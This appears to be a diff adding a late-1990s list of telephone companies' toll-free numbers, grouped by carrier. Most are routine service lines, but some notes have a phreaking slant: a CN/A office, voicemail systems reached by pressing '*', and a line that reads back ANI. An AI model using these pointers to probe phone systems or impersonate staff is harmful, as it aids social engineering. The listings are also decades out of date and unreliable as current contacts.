+1-800-523-7076 Ameritech Security Systems.
+1-800-553-9591 Ameritech Pages Plus Advertising.
+1-800-621-4533 Ameritech Bilingual Customer Service.
+1-800-621-8650 Ameritech's Lifeline program.
+1-800-624-8291 Ameritech Employment Office. (Illinois)
+1-800-647-9000 Ameritech PagesPlus Advertising.
+1-800-649-3777 Ameritech. (TTY/TDD)
+1-800-660-1000 Ameritech Customer Service.
+1-800-660-3000 Ameritech Small Business Services.
+1-800-662-4531 Ameritech Cellular and Paging.
+1-800-707-9999 Ameritech.
+1-800-769-4099 Ameritech Annoyance Call Bureau.
+1-800-809-0878 Ameritech Payphones.
+1-800-821-0173 Ameritech Cellular and Paging Services.
+1-800-848-CAST Ameritech (Americast) Cable Services.
+1-800-873-5501 Ameritech's automated billing (RBOC)
+1-800-924-1000 Ameritech Customer Service.
+1-800-942-9240 Ameritech Employment Office (Chicago area)
+1-800-967-5543 Ameritech.
+1-800-AMERITECH Ameritech. Calling card, collect calls, operator assisted.
+1-800-EASY-FIND Ameritech Employee Finder.
+1-800-MOBILE-1 Ameritech Cellular and Paging.
+1-800-NET-8775 Ameritech Interactive Media Services. (Internet)
+1-800-WORKLIFE Ameritech.
+1-877-432-3279 Ameritech.
+1-888-282-9566 Ameritech Security Systems.
+1-888-635-5050 Ameritech Products and Services.
+1-888-AMERITECH Ameritech.
+
+
+-------------------------------------------------------------------------------
+ BCTel/TELUS:
+-------------------------------------------------------------------------------
+
+1-800-447-2688 BCTel Mobility's EasyTouch Service.
+1-800-472-9773 TELUS (Payphone Dept.)
+1-800-563-0624 TELUS Fax.
+1-800-567-0000 TELUS Customer Relations Department.
+1-800-575-2355 BCTELUS Help Center.
+1-800-661-2355 BCTel Mobility Customer Service.
+1-800-661-4260 TELUS Advertising.
+1-800-661-6074 TELUS Mobility Paging Customer Service.
+1-800-663-1011 BCTel's Billing Inquiry System.
+1-800-663-1440 BCTel Call Center/Accounts.
+1-800-663-2234 BCTel Network Sales.
+1-800-663-2455 BCTel Mobility Customer Service Department.
+1-800-973-2223 TELUS Directory Delivery Service. (order phone books!)
+1-877-310-6110 TELUS Today Customer Service.
+1-877-344-3330 BCTel Mobility.
+1-888-685-2355 BCTel Multiple Option Messaging.
+1-888-811-2323 BCTel Customer Service.
+1-888-823-6873 TELUS Call Center Solutions.
+1-888-867-7587 (1-888-TMS-PLUS) TELUS.
+1-888-905-2284 BCTel Interactive Business Solutions.
+
+
+-------------------------------------------------------------------------------
+ Bell Atlantic:
+-------------------------------------------------------------------------------
+
+1-800-221-4393 Bell Atlantic VMS.
+1-800-222-7900 Bell Atlantic.
+1-800-225-5400 Bell Atlantic.
+1-800-244-2355 Bell Atlantic's Interactive Demo Center.
+1-800-255-2255 Bell Atlantic 1-800-255-CALL.
+1-800-257-5554 Bell Atlantic Services/Computer Repair.
+1-800-275-2355 (1-800-275-BELL) Bell Atlantic Repair.
+1-800-297-2355 Bell Atlantic's Major Customer Center.
+1-800-327-8412 Bell Atlantic Professional Services.
+1-800-365-5810 Bell Atlantic Customer Information Line. (good telco info)
+1-800-416-9639 Bell Atlantic Help Desk.
+1-800-526-4611 Bell Atlantic Telecom Vendor's Service Leasing Dept.
+1-800-538-4747 Bell Atlantic Mobile.
+1-800-550-9840 Bell Atlantic Long Distance.
+1-800-556-2355 Bell Atlantic Communications.
+1-800-621-8900 Bell Atlantic Corporate Headquarters.
+1-800-631-2355 Bell Atlantic Shareowner Services.
+1-800-636-2355 Bell Atlantic Communications.
+1-800-646-3337 Bell Atlantic Federal Integrated Solutions Maintenance Center.
+1-800-647-NEWS Bell Atlantic Employee News line. (Daily recorded messages)
+1-800-652-2355 Bell Atlantic Yellow Pages.
+1-800-660-2355 Bell Atlantic Mobile's Loyalty Management Services Department.
+1-800-727-2231 Bell Atlantic.
+1-800-830-2355 Bell Atlantic Mobile.
+1-800-843-2255 Bell Atlantic Small Business Direct Response Center.
+1-800-922-0204 Bell Atlantic Mobile.
+1-800-934-2255 Bell Atlantic.
+1-877-WITH-YOU Bell Atlantic Mobile Tele-Sales Department.
+1-888-206-2355 Bell Atlantic.
+1-888-208-2355 Bell Atlantic.
+1-888-219-2355 Bell Atlantic.
+1-888-221-2355 Bell Atlantic.
+1-888-223-2355 Bell Atlantic.
+1-888-264-2355 (1-888-ANI-BELL) Bell Atlantic Caller ID.
+1-888-281-6279 Bell Atlantic Communications.
+1-888-289-7309 Bell Atlantic Communications.
+1-888-466-4646 Verizon Wireless. (Bell Atlantic, AirTouch and PrimeCo)
+1-888-550-7095 Bell Atlantic Communications.
+1-888-550-8178 Bell Atlantic Communications.
+1-888-677-2355 Bell Atlantic View at One Support.
+1-888-730-2355 Bell Atlantic.
+1-888-741-2355 Bell Atlantic.
+1-888-743-2355 Bell Atlantic.
+1-888-745-2355 Bell Atlantic.
+1-888-749-2355 Bell Atlantic.
+1-888-751-2355 Bell Atlantic.
+1-888-781-2355 Bell Atlantic.
+1-888-782-2355 Bell Atlantic.
+1-888-831-4947 Bell Atlantic Long Distance.
+1-888-969-2355 Bell Atlantic.
+1-888-983-2355 Bell Atlantic.
+1-888-984-2355 Bell Atlantic.
+1-888-985-2355 Bell Atlantic.
+1-888-986-2355 Bell Atlantic.
+1-888-988-2355 Bell Atlantic.
+1-888-989-2355 Bell Atlantic.
+1-888-990-2355 Bell Atlantic.
+1-888-992-2355 Bell Atlantic.
+1-888-993-2355 Bell Atlantic.
+1-888-996-2355 Bell Atlantic.
+1-888-997-2355 Bell Atlantic.
+
+
+-------------------------------------------------------------------------------
+ BCE/Bell Canada/Stentor:
+-------------------------------------------------------------------------------
+
+1-416-555-1313 Bell's local CN/A office for Toronto.
+1-613-238-3103 Bell Canada Data Repair. (Ottawa Office)
+310-1212 QuebecTel Customer Service Centre.
+310-2355 Telephone Directory Ordering (free local directories)
+310-BELL Bell Canada Customer Services. (toll free)
+310-INTERNET Bell Sympatico.
+310-SURF Bell Sympatico.
+811 Northwestel Call Centre. (BC, NWT, Yukon)
+
+1-800-225-5180 Bell Canada Client Service Center.
+1-800-227-7401 MTT Mpowered PC Member Services.
+1-800-232-3227 Telcordia Technologies (Bellcore) FACS Customer Information Line.
+1-800-238-8636 Bell Labs.
+1-800-253-5011 Bell Mobility Paging.
+1-800-256-2355 Bell Nexxia. (after hours OcTel VMB)
+1-800-263-3899 Bell Mobility Customer Service.
+1-800-263-7412 Bell Canada Millennium Help Line.
+1-800-263-8394 Bell Mobility.
+1-800-265-0123 Bell Mobility Ardis Division Sales.
+1-800-265-3076 Telesat Satellite Network Operations Control.
+1-800-265-5925 Bell Canada Business Repair. (Data & I.X. Voice Repair)
+1-800-267-0123 Bell Mobility's Automated Express Lane System. (reports EST)
+1-800-267-0424 Bell Nexxia Customer Care.
+1-800-267-1870 Telesat Canada.
+1-800-267-2355 Bell Mobility Quebec.
+1-800-267-5353 Tele-Direct Atlantic.
+1-800-267-6511 IslandTel Special Needs Centre (Tdd)
+1-800-267-6574 Bell Canada Datapac Customer Assistance Centre.
+1-800-267-7002 Tele-Direct.
+1-800-267-7640 Bell Canada's Ident-a-Call demonstration line. ("*" to enter VMS)
+1-800-267-9502 Bell Canada. (Operator)
+1-800-267-9556 Bell Canada.
+1-800-268-1720 Bell Canada Multimedia.
+1-800-268-2323 Bell ActiMedia.
+1-800-268-2355 Bell Mobility Ottawa Office.
+1-800-268-3550 Bell ActiMedia Internet Services.
+1-800-268-5637 Bell ActiMedia (call to purchase CAN, USA and INTL. directories)
+1-800-268-5933 Bell Canada Quickchange Department.
+1-800-268-8531 Bell Repair.
+1-800-268-9100 Bell Canada 1-900, 976, Information Line (they send Faxes)
+1-800-268-9107 Bell Canada Customer Care.
+1-800-268-9160 Bell Canada Information Service Line.
+1-800-270-2355 Business Consulting Group of Bell Canada.
+1-800-323-6628 Bell Laboratories.
+1-800-331-9948 Bell Canada Relay Service Customer Comment Line.
+1-800-339-6359 BCE Investor Relations. (Montreal)
+1-800-348-2226 IslandTel.
+1-800-360-2373 Northern Telephone Service Center.
+1-800-360-8555 Northern Telephone Limited.
+1-800-361-0804 Telesat.
+1-800-361-1423 Bell Canada (Dis)Advantage Conferencing.
+1-800-361-3489 Bell Canada Customer Billing Center.
+1-800-361-6010 Bell ActiMedia Yellow Pages.
+1-800-361-7874 Bell Canada Millennium (Unknown)
+1-800-361-8717 Bell Canada Professional Services. (Montreal)
+1-800-361-9844 Bell Canada SmartTouch Information Line. (French)
+1-800-363-2355 Bell Canada's Total Solution Center for Business.
+1-800-363-3781 Bell Mobility Paging.
+1-800-363-5001 Bell ActiMedia Yellow Pages.
+1-800-363-6522 Stentor Calling Card Centre.
+1-800-363-9612 Bell Technical Services.
+1-800-387-4411 Bell Canada's Business Direct Marketing Centre.
+1-800-387-4441 Bell Advantage Call Centre Solutions. (Telemarketing)
+1-800-387-5072 Bell Mobility's Activation Department.
+1-800-387-5185 Bell Phonecentre Information Line.
+1-800-387-9571 Bell Mobility Radio.
+1-800-387-9999 Bell Gardium Security Representative.
+1-800-405-6486 Telecom Canada Ltd.
+1-800-439-2355 Direct Bell. (Wireless Communications)
+1-800-461-1156 Bell ActiMedia.
+1-800-461-1747 Bell Canada Millennium (Voice Test)
+1-800-461-1760 Bell Canada Millennium (Unknown)
+1-800-461-1879 Bell Canada Millennium (Data Test)
+1-800-461-2921 Bell Canada SmartTouch Information Line.
+1-800-461-5711 Northern Telephone.
+1-800-461-7243 Bell ActiMedia Sales Office. (formerly Yellow Pages Tele-Direct)
+1-800-461-9819 Northern Telephone Ltd.
+1-800-463-4778 Bell Canada Professional Services. (Quebec City)
+1-800-463-4833 Bell ActiMedia Yellow Pages.
+1-800-463-5376 Bell CSR-Quebec (Quebec City)
+1-800-465-2355 Bell Mobility.
+1-800-465-6960 Bell ActiMedia.
+1-800-470-2355 Bell Mobility.
+1-800-491-2355 Pacific Link Communications Mississauga (Bell Mobility Center)
+1-800-521-CORE Bellcore.
+1-800-529-7371 MTT Data Service. (Repair)
+1-800-555-1111 Bell LD. 3 way calling, calling card and many other features.
+1-800-555-4999 Bell Canada Residential and Business Service.
+1-800-561-0934 BCE Inquiry Line.
+1-800-561-2355 Bell Mobility. (French)
+1-800-561-4459 MBTel Internet.
+1-800-561-6283 MBTel Customer Care Center.
+1-800-561-8868 Stentor's Country Direct Information Line.
+1-800-561-8888 Stentor's Calling Card Centre.
+1-800-563-2900 NewTel Communications.
+1-800-563-3794 Bell Mobility (Ottawa Office)
+1-800-563-5150 NewTel Mobility.
+1-800-563-5400 NewTel Communications.
+1-800-563-7171 NewTel Communications.
+1-800-563-7988 Newfoundland Telephones Mobile Service Department. (NewTel)
+1-800-563-8700 NewTel Communications.
+1-800-565-1290 Tele-Direct Atlantic.
+1-800-565-1570 IslandTel Repair Service.
+1-800-565-4287 IslandTel Business Inquiries.
+1-800-565-4737 IslandTel Business Office.
+1-800-565-4737 IslandTel.
+1-800-565-6188 MTT Express.
+1-800-565-6283 MBTel Customer Care Centre.
+1-800-565-8884 MBTel Express.
+1-800-565-CARD MTT Calling Card Services.
+1-800-567-1811 Bell Electronic Business Solutions Information Center.
+1-800-567-2448 Bell Canada Millennium (Test Line)
+1-800-567-9633 Bell Canada.
+1-800-574-2455 IslandTel.
+1-800-583-3746 Bell Canada First Rate.
+1-800-611-6500 Bell Mobility Cellular.
+1-800-641-2311 Bell Canada Customer Service. (French - Press "2" for English)
+1-800-665-1800 NBTel.
+1-800-665-5614 MTT.
+1-800-665-6000 NewTel Express.
+1-800-667-0123 Bell Mobility's Automated Express Lane System.
+1-800-667-6030 Bell Canada (French)
+1-800-667-6283 NBTEL.
+1-800-668-0911 BCE Mobile Communications Inc.
+1-800-668-2355 Bell Canada.
+1-800-668-4862 Bell Canada Millennium (Coin)
+1-800-668-6851 Bell Canada Millennium (Alarm)
+1-800-668-6878 Bell Direct. (U.S. and Canada)
+1-800-668-8868 Stentor. (Cantonese and Mandarin)
+1-800-668-9090 Bell Information Systems Repair Service.
+1-800-668-9608 Bell Canada Switch Control Centre.
+1-800-668-9716 Bell Canada Employment Centre. (Press "*" to access VMS)
+1-800-668-9877 Telesat.
+1-800-688-9811 MTT.
+1-800-722-2121 MTT Sympatico.
+1-800-724-4443 Bell Sympatico.
+1-800-749-0764 Bell Canada Human Resources.
+1-800-749-2538 Bell Canada. (Toronto Office)
+1-800-749-3081 Bell Canada Office.
+1-800-749-3085 Bell Canada Ontario Control Centre.
+1-800-749-3279 Bell Canada Business Sales.
+1-800-749-3743 Bell Canada. (Toronto Office)
+1-800-749-3745 Bell Canada Ontario Control Centre.
+1-800-749-4198 Bell Canada Ontario Control Centre.
+1-800-749-4208 Bell Canada Ontario Control Centre.
+1-800-749-9362 Bell Canada Ontario Control Centre. (Regional Manager)
+1-800-749-9770 Bell Canada. (Toronto Office)
+1-800-768-2220 Bell (VIC) Voice Interactive Communications System.
+1-800-772-2141 Bell Canada Millennium (Setshop)
+1-800-773-2121 Sympatico Customer Service. (Bell Canada's Internet service)
+1-800-776-4555 MTT Business Office.
+1-800-789-9073 Bell Simple Connections.
+1-800-803-0077 Bell QuickChange Cards Customer Service.
+1-800-847-7303 Bell Minor Hockey Hotline.
+1-800-848-8353 Bell ActiMedia (Tele-Direct) Customer Service.
+1-800-855-0511 Bell Canada Relay Service (BCRS) Operator.
+1-800-862-6330 MTS (Manitoba Telephone System)
+1-800-889-4672 Bell Canada Business.
+1-800-889-4686 Bell Canada's Business Direct Marketing Centre.
+1-800-931-3282 IslandTel Data Communications.
+1-800-936-6245 IslandTel. (IslandTel Express="1")
+1-800-938-4442 IslandTel Express. (reads back ANI)
+1-800-957-9999 Bell Canada Long Distance.
+1-800-984-2646 IslandTel Public Telephones.
+1-800-995-8887 Bell ActiMedia Sales Department.
+1-800-PRIVACY Bell Canada Call Privacy Service Demonstration/Order Line.
+1-800-REWARDS Bell Canada Rewards.
+1-877-202-3206 Bell Canada. (Chinese)
+1-877-202-3207 Bell Canada. (Chinese)
+1-877-202-3208 Bell Canada. (Chinese)
+1-877-202-3209 Bell Canada. (Chinese)
+1-877-241-6228 Bell Sympatico High Speed Edition Internet Service.
+1-877-268-4273 Bell Gardium Sales Department.
+1-877-2-ALIANT Aliant, Inc.
+1-877-318-0859 Bell Sympatico.
+1-877-327-9630 Bell Canada's Interactive Sympatico Ordering Service.
+1-877-486-3472 Bell Canada's Interactive Sympatico Ordering Service.
+1-877-499-1260 Bell Canada's SmartTouch Promotion Line.
+1-877-499-1263 Bell Canada's SmartTouch Line.
+1-877-4PERCALL Bell Canada's (Dis)Advantage Per Call.
+1-877-500-2688 Bell Canada's Interactive Sympatico Ordering Service.
+1-877-500-2699 Bell Canada's Interactive Sympatico Ordering Service.
+1-877-506-BELL Bell ExpressVu.
+1-877-518-BELL Bell ExpressVu.
+1-877-520-BELL Bell ExpressVu.
+1-877-521-BELL Bell ExpressVu.
+1-877-540-8222 Bell Canada's Interactive Sympatico Ordering Service.
+1-877-595-0210 Bell ActiMedia.
+1-877-652-4119 Bell's SmartTouch Promotion.
+1-877-70-SPEED Bell Sympatico.
+1-877-723-4400 Bell Mobility Totalcom.
+1-877-811-6892 Bell Sympatico High Speed Edition.
+1-877-811-6893 Bell Sympatico High Speed Edition.
+1-877-811-6894 Bell Sympatico High Speed Edition.
+1-877-828-8686 IslandTel Sales.
+1-877-885-2424 Bell First Rate 24 Hour Enrollment Service.
+1-877-90-SPEED Bell Sympatico.
+1-877-91-SPEED Bell Sympatico.
+1-877-92-SPEED Bell Sympatico.
+1-877-99-SPEED Bell Sympatico.
+1-877-999-2355 Bell Canada's Voice Response System.
+1-877-AIT-3113 Aliant Investor Relations.
+1-877-ALL-WKND Bell Mobility.
+1-877-BELLCORE Telcordia Technologies. (formerly known as Bellcore)
+1-877-BUNDLE-1 Bell Canada's Direct Marketing Centre.
+1-877-FIRSTRATE Bell First Rate Interactive Information and Enrollment Service.
+1-888-217-6533 Bell Mobility Pager.
+1-888-217-6535 Bell Mobility Pager.
+1-888-217-6538 Bell Mobility Pager.
+1-888-217-6539 Bell Mobility Pager.
+1-888-217-6540 Bell Mobility Service.
+1-888-24-FIRST Bell First Rate Interactive Information and Enrollment Service.
+1-888-242-2355 Bell (Spanish)
+1-888-291-6799 Bell Mobility Order Desk.
+1-888-299-0977 Bell Canada's Interactive Sympatico Ordering Service.
+1-888-308-5640 Bell Mobility Paging.
+1-888-333-4454 Bell Equipement D Imprimerie.
+1-888-334-VALUE MTT.
+1-888-368-9110 Northwestel Account Manager.
+1-888-377-2355 Bell First Rate Interactive Information and Enrollment Service.
+1-888-378-2355 Bell Canada's Ontario Direct Marketing Center.
+1-888-386-5555 Stentor Communications Production Fund.
+1-888-388-2355 Bell Direct in Canada. (the same as 310-BELL)
+1-888-4-662453 (1-888-4-MOBILE) Bell Mobility Cellular.
+1-888-423-2333 Northwestel Business Support Centre.
+1-888-433-0317 Bell Sympatico.
+1-888-442-0222 Bell Mobility Accounts Receivable.
+1-888-457-7308 Bell Mobility Order Desk.
+1-888-457-7309 Bell Mobility.
+1-888-457-7310 Bell Mobility.
+1-888-490-3001 Tele-Direct Atlantic.
+1-888-502-2222 Bell Canada. (Chinese/Vietnamese?)
+1-888-505-2222 Bell Canada. (Chinese/Vietnamese?)
+1-888-506-2222 Bell Canada. (Italian)
+1-888-512-2222 Bell Canada. (Chinese/Vietnamese?)
+1-888-513-2222 Bell Canada East and South Asian Hotline.
+1-888-515-2222 Bell Canada East and South Asian Hotline.
+1-888-519-2222 Bell Canada East and South Asian Hotline.
+1-888-521-2222 Bell Canada Operator.
+1-888-527-2222 Bell Canada's Direct Marketing Centre.
+1-888-531-2222 Bell Canada Operator.
+1-888-532-2222 Bell Canada's Direct Marketing Centre.
+1-888-538-2222 Bell Canada's Direct Marketing Centre.
+1-888-542-3784 Bell Mobility Out of the Box Program.
+1-888-597-9999 Schwab Canada QUALCOMM Digital PCS phone from Bell Mobility.
+1-888-739-2737 (1-888-REWARDS) Bell Total Rewards.
+1-888-788-2355 Bell Canada Business Consulting Group.
+1-888-794-0777 Stentor Canadian Network Management.
+1-888-796-1825 Bell (Dis)Advantage Internet Solutions.
+1-888-865-2239 Bell Mobility Pager.
+1-888-904-2355 Bell First Rate Interactive Information and Enrollment Service.
+1-888-932-6666 BCE Corp. Communications.
+1-888-DIRECPC Telesat Canada's Direct PC Customer Care Centre.
+
+
+-------------------------------------------------------------------------------
+ BellSouth:
+-------------------------------------------------------------------------------
+
+1-800-237-6432 BellSouth Advertising and Publishing.
+1-800-285-2355 BellSouth.
+1-800-419-2355 BellSouth. (Spanish)
+1-800-436-8638 BellSouth Internet Home. (U.S. only)
+1-800-451-6549 BellSouth Customer Service.
+1-800-541-1229 BellSouth Financial Services.
+1-800-639-2455 BellSouth Billing Services.
+1-800-733-2355 BellSouth Phones.
+1-800-753-0223 BellSouth Order Line.
+1-800-767-2355 BellSouth Automated Billing Services.
+1-800-775-2355 BellSouth Phones.
+1-800-831-4323 BellSouth.
+1-800-832-6338 BellSouth Memory Call Service.
+1-800-842-1558 BellSouth Benefits Service Center.
+1-800-858-9413 BellSouth ISDN order line.
+1-800-925-0010 BellSouth Communications Systems.
+1-800-925-0049 BellSouth Equipment/Customer Changes. (U.S. only)
+1-800-925-2525 BellSouth Business.
+1-800-962-3387 BellSouth Advertising and Publishing.
+1-800-995-9999 BellSouth Phones.
+1-800-BELL-SOUTH Collect, Calling Card and Credit Card calls.
+1-877-TELEFONE BellSouth.
+1-888-201-2355 BellSouth Benefit Enrollment System.
+1-888-203-2355 BellSouth.
+1-888-327-2355 BellSouth Mobility Area Code Reprogramming Department.
+1-888-383-2355 BellSouth Cellular Fraud Prevention Center.
+1-888-462-8033 BellSouth COCOT Repair.
+1-888-543-2355 BellSouth Internet Business.
+1-888-837-1668 BellSouth Telecom Rental Services.
+
+
+-------------------------------------------------------------------------------
+ Cellular One:
+-------------------------------------------------------------------------------
+
+1-800-369-2355 Cellular One.
+1-800-381-2355 Cellular One.
+1-800-487-2355 Cellular One Customer Service.
+1-800-514-2355 Cellular One's Welcome line.
+1-800-567-2355 Cellular One.
+1-800-604-2355 Cellular One.
+1-800-670-2355 Communication One (authorized agent of Cellular One)
+1-800-CELL-ONE Cellular One. (U.S. only)
+1-877-CELLFONE Cellular One's Voicemail Help line.
+1-888-345-2355 Cellular One Dispatch.
+1-888-522-2355 Cellular One.
+1-888-562-2355 Cellular One's Job Hotline.
+1-888-681-2355 Cellular One.
+1-888-CELLPHONE Cellular One.
+1-888-CELLULAR Cellular One Sales Office.
+
+
+-------------------------------------------------------------------------------
+ GTE:
+-------------------------------------------------------------------------------
+
+1-800-225-5160 GTE Corporation Teleservicing System.
+1-800-225-5483 (1-800-CALL-GTE) GTE Long Distance.
+1-800-272-3466 GTE Internetworking.
+1-800-346-5800 GTE Business Sales Center.
+1-800-347-5665 GTE Express. (Cellular)
+1-800-366-4834 (1-800-FON-GTE4) GTE Personnel-only question line. (U.S. only)
+1-800-366-4835 (1-800-FON-GTE5) GTE Personnel-only question line.
+1-800-366-5665 GTE Express. (Cellular)
+1-800-413-4233 GTE Education Assistance Program.
+1-800-428-8722 GTE Superpages Internet Services.
+1-800-445-5288 GTE Business Sales Center.
+1-800-445-5586 GTE Conference Connections Billing Department.
+1-800-445-7920 GTE Airfone.
+1-800-448-3795 GTE.
+1-800-472-4565 GTE Internetworking. (U.S. only)
+1-800-483-1000 (1-800-GTE-1000) GTE Repair Center.
+1-800-483-2273 (1-800-GTE-CARD) GTE Calling Card Services.
+1-800-483-3000 GTE Billing Center.
+1-800-483-3600 GTE North Customer Billing Center.
+1-800-483-4000 GTE California Customer Service Ordering Center.
+1-800-483-4839 GTE Business Response Center.
+1-800-483-5000 GTE California Business Sales Center.
+1-800-483-5288 GTE Headquarters in Irving, TX.
+1-800-483-5400 GTE Business Sales Center.
+1-800-483-5559 GTE.
+1-800-483-5781 GTE Wireless.
+1-800-483-7243 (1-800-GTE-PAGE) GTE Paging.
+1-800-483-7479 GTE Hawaiian Tel's Business Sales Center.
+1-800-483-8494 GTE Long Distance.
+1-800-527-2558 GTE Business Response Center.
+1-800-643-0997 GTE Bank Card Center.
+1-800-670-9320 GTE Paging.
+1-800-727-2355 GTE Wireless.
+1-800-787-9689 GTE Customer Service.
+1-800-826-1311 GTE Billing Center.
+1-800-877-5665 GTE Express. (Cellular)
+1-800-888-8448 GTE Directory Order Center.
+1-800-892-9600 GTE.
+1-800-927-3000 GTE Internet.
+1-800-AIRFONE GTE Airfone.
+1-877-205-7743 GTE National Support Center.
+1-888-483-0022 GTE Government Systems.
+1-888-483-4555 GTE Internet.
+1-888-681-3279 GTE Airfone. (call aircraft while they're in-flight)
+1-888-AIRFONE GTE Airfone.
+
+
+-------------------------------------------------------------------------------
+ Lucent Technologies:
+-------------------------------------------------------------------------------
+
+1-800-222-3111 Lucent Technologies. (St Louis, MO)
+1-800-222-6111 Lucent Technologies Consumer Products.
+1-800-228-1938 Lucent Technologies Calibration and Repair Services.
+1-800-242-2121 Lucent Technologies (PBX systems info, VMS info on Audix, etc.)
+1-800-289-0609 Lucent Technologies National Customer Care Center.
+1-800-322-2016 Lucent Technologies National Customer Care Center.
+1-800-342-5677 Lucent Technologies Technical Services Organization.
+1-800-344-0223 Lucent Technologies Inside Sales Department at the CRC.
+1-800-387-4268 Lucent Technologies.
+1-800-4-LUCENT Lucent Technologies.
+1-800-451-2100 Lucent Technologies Cincinnati Customer Care Center.
+1-800-457-1235 Lucent Technologies BCS Publications Center.
+1-800-628-2888 Lucent Technologies National Customer Care Center.
+1-800-643-2353 Lucent Technologies National Customer Care Center.
+1-800-811-1802 Lucent Technologies Special Customer Operations.
+1-800-821-8204 Lucent Technologies Multi-Media Applications Customer Support.
+1-800-822-2000 Lucent Technologies.
+1-800-852-0246 Lucent Technologies.
+1-877-4-LUCENT Lucent Technologies.
+1-888-4-LUCENT Lucent Technologies Canada.
+1-888-LUCENT-6 Lucent Technologies Shareholder Services.
+1-888-LUCENT-8 Lucent Technologies.
+
+
+-------------------------------------------------------------------------------
+ MCI WorldCom:
+-------------------------------------------------------------------------------
+
+1-800-225-5888 MCI WorldCom Operator Services.
+1-800-254-8991 MCI WorldCom Customer Service. (U.S. only)
+1-800-264-1000 MCI WorldCom Customer Service.
+1-800-265-5328 MCI's 1-800-COLLECT. Automated collect calls.
+1-800-267-7320 Network MCI.
+1-800-270-6245 WorldCom VMS. ("Please enter the # sign followed by your BN")
+1-800-275-0200 MCI WorldCom Residential/Business Customer Service.
+1-800-275-1234 MCI WorldCom. Accepts calling cards for phone calls.
+1-800-294-3496 MCI WorldCom.
+1-800-333-1000 MCI WorldCom Commercial Customer Service.
+1-800-333-2000 MCI WorldCom.
+1-800-333-5000 MCI WorldCom Residential Service.
+1-800-336-0149 MCI WorldCom Worldwide Customer Care and Global Product Support.
+1-800-374-6400 MCI WorldCom Local Customer Service.
+1-800-401-9997 MCI WorldCom.
+1-800-432-4557 MCI WorldCom Account Services. (U.S. only)
+1-800-444-1111 MCI WorldCom's Global Technical Service Center.
+1-800-444-3333 MCI WorldCom Customer Service. (U.S. only)
+1-800-444-4444 MCI WorldCom.
+1-800-444-6242 MCI.
+1-800-444-6245 MCI Mail Messaging and Technical Support.
+1-800-444-7000 MCI WorldCom St. Louis Business Market Sales Office.
+1-800-451-7220 MCI WorldCom.
+1-800-455-1605 Network MCI System.
+1-800-455-2957 Network MCI System.
+1-800-455-4215 Network MCI System.
+1-800-455-5469 Network MCI System.
+1-800-455-6084 Network MCI Interactive Paging Service.
+1-800-455-6504 Network MCI System.
+1-800-455-6513 Network MCI System.
+1-800-455-6780 Network MCI System.
+1-800-455-6834 Network MCI System.
+1-800-455-7806 Network MCI System.
+1-800-455-7854 Network MCI System.
+1-800-455-7920 Network MCI System.
+1-800-456-0253 MCI WorldCom.
+1-800-475-0138 MCI WorldCom.
+1-800-475-5628 MCI WorldCom Paging System.
+1-800-475-9321 MCI WorldCom.
+1-800-483-4929 Network MCI System.
+1-800-483-8784 Network MCI System.
+1-800-539-2000 MCI WorldCom Business Services.
+1-800-554-5778 MCI WorldCom Prepaid Cellular.
+1-800-555-4668 Network MCI System.
+1-800-627-2355 MCI WorldCom Administrative Offices.
+1-800-637-2255 MCI WorldCom.
+1-800-644-NEWS MCI WorldCom Public Relations.
+1-800-645-2355 MCI WorldCom.
+1-800-666-1904 MCI WorldCom. (U.S. only)
+1-800-666-2612 MCI WorldCom Small Business Department.
+1-800-666-2613 MCI WorldCom.
+1-800-674-2355 MCI WorldCom (calling card calls)
+1-800-688-4889 MCI National Relay Service in the U.S. (TTY)
+1-800-701-9358 MCI WorldCom. (U.S. only)
+1-800-701-9360 MCI WorldCom. (U.S. only)
+1-800-724-3624 (1-800-PAGE-MCI) MCI WorldCom Paging System.
+1-800-727-5555 MCI Small Business Accounts. (U.S. only)
+1-800-749-0800 MCI WorldCom.
+1-800-749-9600 MCI WorldCom.
+1-800-827-4690 MCI WorldCom Paging System.
+1-800-827-4750 MCI WorldCom Paging System.
+1-800-827-9983 MCI WorldCom Corporate Accounts.
+1-800-827-9987 MCI WorldCom Corporate Accounts.
+1-800-864-4060 MCI WorldCom Wholesale Services.
+1-800-872-7654 MCI WorldCom's EDI Group.
+1-800-876-8581 Network MCI.
+1-800-877-8000 MCI Operator.
+1-800-877-9320 Network MCI.
+1-800-888-8000 MCI WorldCom automated calling card calls.
+1-800-909-3175 MCI WorldCom Pre-paid Card System
+1-800-909-3180 MCI WorldCom Pre-paid Card System
+1-800-909-3197 MCI. (Spanish)
+1-800-938-6374 MCI WorldCom Customer Service.
+1-800-944-0700 MCI WorldCom Wireless.
+1-800-947-8642 MCI National Relay Service in the U.S. (voice)
+1-800-950-1022 MCI WorldCom Customer Service.
+1-800-950-5555 MCI WorldCom.
+1-800-999-7700 MCI WorldCom.
+1-800-COLLECT MCI WorldCom automated collect calls.
+1-800-EVERYDAY MCI WorldCom.
+1-800-MCI-LOCAL MCI WorldCom Local Customer Service.
+1-800-SUNDAYS MCI WorldCom.
+1-800-WORLDCOM WorldCom.
+1-888-575-2355 MCI WorldCom.
+1-888-624-2355 MCI WorldCom.
+1-888-624-9266 MCI WorldCom Sales Office.
+1-888-655-2355 Network MCI Contact.
+1-888-724-3624 (1-888-PAGE-MCI) MCI WorldCom Paging System.
+
+
+-------------------------------------------------------------------------------
+ MT&T:
+-------------------------------------------------------------------------------
+
+1-800-422-5978 MT&T Mobility.
+1-800-461-5533 MT&T Billing, Accounts and Repairs.
+1-800-561-6364 MT&T Data Services.
+1-800-565-1881 MT&T Business Customer Service Centre.
+1-800-565-4003 MT&T.
+1-800-565-4800 MT&T.
+1-800-565-5065 MT&T Residence Telemarketing.
+1-800-565-7102 MT&T.
+1-800-626-5552 MT&T Data Communications Sales and Repairs.
+
+
+-------------------------------------------------------------------------------
+ Nortel Networks:
+-------------------------------------------------------------------------------
+
+1-800-328-6760 Nortel Networks (Minnetonka, MN)
+1-800-461-3196 Nortel Networks (Milton, ON)
+1-800-466-7835 (1-800-4-NORTEL) Nortel Networks. (Northern Telecom)
+1-800-638-9302 Nortel Networks Customer Care Center.
+1-800-665-2827 Nortel Networks Customer Technical Services After Hours Support.
+1-800-668-1717 Nortel Networks Global Customer Care Center.
+1-800-668-5511 Nortel Networks Customer Repair and Return Services.
+1-800-684-2255 Nortel's Meridian Home Office Support/Info.
+1-800-684-9996 Nortel Networks Software Applications Status Line.
+1-800-833-7477 Nortel Networks.
+1-800-896-8944 Nortel Networks. (Fax)
+1-800-NORTEL-1 Nortel Networks Information Line for Resellers.
+1-877-4-NORTEL Nortel Networks.
+1-888-4-NORTEL Nortel Networks VMS.
+
+
+-------------------------------------------------------------------------------
